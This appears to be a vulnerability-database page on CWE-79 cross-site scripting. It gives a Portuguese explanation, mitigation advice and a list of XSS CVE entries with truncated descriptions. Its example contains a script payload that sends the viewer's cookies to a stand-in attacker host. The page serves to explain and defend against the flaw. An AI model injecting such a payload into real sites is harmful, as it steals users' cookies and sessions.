Fallos del tipo CWE-79

29.055 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-23150MEDIUMWordPress AMP for WP – Accelerated Mobile Pages plugin <= 1.0.77.31 - Auth. Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2023-27054MEDIUMA cross-site scripting (XSS) vulnerability in MiroTalk P2P before commit f535b35 allows attackers to execute arbitrary web scripts or HTML vEPSS 0.6%CVE-2024-0504LOWcode-projects Simple Online Hotel Reservation System Make a Reservation Page add_reserve.php cross site scriptingEPSS 0.6%CVE-2024-51430MEDIUMCross Site Scripting vulnerability in online diagnostic lab management system using php v.1.0 allows a remote attacker to execute arbitrary EPSS 0.6%CVE-2023-0810HIGHCross-site Scripting (XSS) - Stored in btcpayserver/btcpayserverEPSS 0.6%CVE-2020-26799CRITICALA reflected cross-site scripting (XSS) vulnerability was discovered in index.php on Luxcal 4.5.2 which allows an unauthenticated attacker toEPSS 0.6%CVE-2024-2940LOWCampcodes Online Examination System updateCourse.php cross site scriptingEPSS 0.6%CVE-2024-7321MEDIUMitsourcecode Online Blood Bank Management System User Registration signup.php cross site scriptingEPSS 0.6%CVE-2022-38460MEDIUMWordPress NOTICE BOARD plugin <= 1.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.6%CVE-2024-26269CRITICALCross-site scripting (XSS) vulnerability in the Frontend JS module's portlet.js in Liferay Portal 7.2.0 through 7.4.3.37, and Liferay DXP 7.EPSS 0.6%CVE-2024-2255MEDIUMEssential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates <= 4.5.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-2629—Top Bar < 3.0.4 - Admin+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2022-4882LOWkaltura mwEmbed Share Plugin share.js cross site scriptingEPSS 0.6%CVE-2023-32766MEDIUMGitpod before 2022.11.3 allows XSS because redirection can occur for some protocols outside of the trusted set of three (vscode: vscode-insiEPSS 0.6%CVE-2024-25147CRITICALCross-site scripting (XSS) vulnerability in HtmlUtil.escapeJsLink in Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, andEPSS 0.6%CVE-2024-5727MEDIUMWidget4Call <= 1.0.7 - Reflected XSSEPSS 0.6%CVE-2022-4694MEDIUMCross-site Scripting (XSS) - Stored in usememos/memosEPSS 0.6%CVE-2022-34650MEDIUMWordPress Team plugin <= 1.2.6 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.6%CVE-2026-50883CRITICALAn HTML injection vulnerability in the /src/highlight.rs component of matze wastebin v3.4.1 allows attackers to execute arbitrary scripts viEPSS 0.6%CVE-2023-39521MEDIUMTuleap vulnerable to Cross-site Scripting on the success message of a kanban deletionEPSS 0.6%